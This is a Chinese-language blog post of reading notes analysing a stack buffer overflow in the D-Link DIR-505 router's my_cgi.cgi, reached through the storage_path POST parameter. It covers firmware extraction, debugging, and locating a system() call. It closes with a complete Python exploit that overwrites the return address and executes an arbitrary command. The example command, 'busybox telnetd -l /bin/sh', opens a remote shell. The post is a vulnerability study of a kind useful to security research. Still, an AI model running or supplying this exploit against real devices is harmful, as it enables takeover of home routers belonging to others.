揭秘家用路由器0day漏洞挖掘技术读书笔记 D-Link DIR-505 my_cgi.cgi溢出漏洞分析

固件下载地址
漏洞描述如下。
揭秘家用路由器0day漏洞挖掘技术读书笔记 D-Link DIR-505 my_cgi.cgi溢出漏洞分析_第1张图片
下载之后解压缩得到DIR505A1_FW108B10.bin,通过binwalk提取出文件系统。
揭秘家用路由器0day漏洞挖掘技术读书笔记 D-Link DIR-505 my_cgi.cgi溢出漏洞分析_第2张图片
我们使用下面的脚本直接进行动态调试。根据my_cgi.cgi main函数反编译后的结果可知脚本中CONTENT-TYPE不能为multipart/form-data,SCRIPT_NAME不能为HNAP1。
揭秘家用路由器0day漏洞挖掘技术读书笔记 D-Link DIR-505 my_cgi.cgi溢出漏洞分析_第3张图片
揭秘家用路由器0day漏洞挖掘技术读书笔记 D-Link DIR-505 my_cgi.cgi溢出漏洞分析_第4张图片
漏洞在于处理POST参数中storage_path参数的值时发生了缓冲区溢出,所以需要构造storage_path=xxx形式的输入。IDA中显示storage_path有八处调用。
揭秘家用路由器0day漏洞挖掘技术读书笔记 D-Link DIR-505 my_cgi.cgi溢出漏洞分析_第5张图片
在这八处调用中有一个get_input_entries函数,不妨先看看这个函数。运行脚本附加之后在get_input_entries调用位置0x0040A638下断点。通过动态调试+静态分析可以将该函数循环体的部分还原成如下所示的伪代码。该函数循环体的部分也就是红色块左边的部分,s3来自第二个参数a1也就是CONTENT_LENGTH,但是该函数中没有大小限制,如果CONTENT_LENGTH大于buf的长度就可能造成溢出。
揭秘家用路由器0day漏洞挖掘技术读书笔记 D-Link DIR-505 my_cgi.cgi溢出漏洞分析_第6张图片
这里写图片描述
揭秘家用路由器0day漏洞挖掘技术读书笔记 D-Link DIR-505 my_cgi.cgi溢出漏洞分析_第7张图片
阅读红色块右边部分的代码可以得知参数的伪造需要遵照storage_path=xxx的形式,因为此时get_input_entries函数不会对参数值调用replace_special_char函数进行解码而是直接进入返回流程,否则get_input_entries函数在执行replace_special_char函数时会报错,进而导致程序崩溃。
揭秘家用路由器0day漏洞挖掘技术读书笔记 D-Link DIR-505 my_cgi.cgi溢出漏洞分析_第8张图片
查看main+0x7F8处对get_input_entries的调用可以得知CONTENT_LENGTH来自HTTP协议的content-length字段,这个值是攻击者可控的。验证一下POC中的偏移,确实是正确的。
揭秘家用路由器0day漏洞挖掘技术读书笔记 D-Link DIR-505 my_cgi.cgi溢出漏洞分析_第9张图片
在IDA中寻找system的交叉引用,发现get_remote_mac+CC处调用了system("command"),且参数command布置在返回地址偏移+0x28处即可。
这里写图片描述
按照DIR505L-storage_path.py 192.168.0.1 "busybox telnetd -l /bin/sh"执行下面的代码就可以获得shell了。

#!/usr/bin/env python
# #

import sys
import urllib2

try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s  " % sys.argv[0]
    sys.exit(1)

url = "http://%s/my_cgi.cgi" % target

buf  = "storage_path="      # POST parameter name
buf += "D" * 477472   # Stack filler
buf += "\x00\x40\x5B\x1C"   # Overwrite $ra
buf += "E" * 0x28           # Command to execute must be at $sp+0x28
buf += command              # Command to execute
buf += "\x00"               # NULL terminate the command

req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()

你可能感兴趣的:(IOT安全)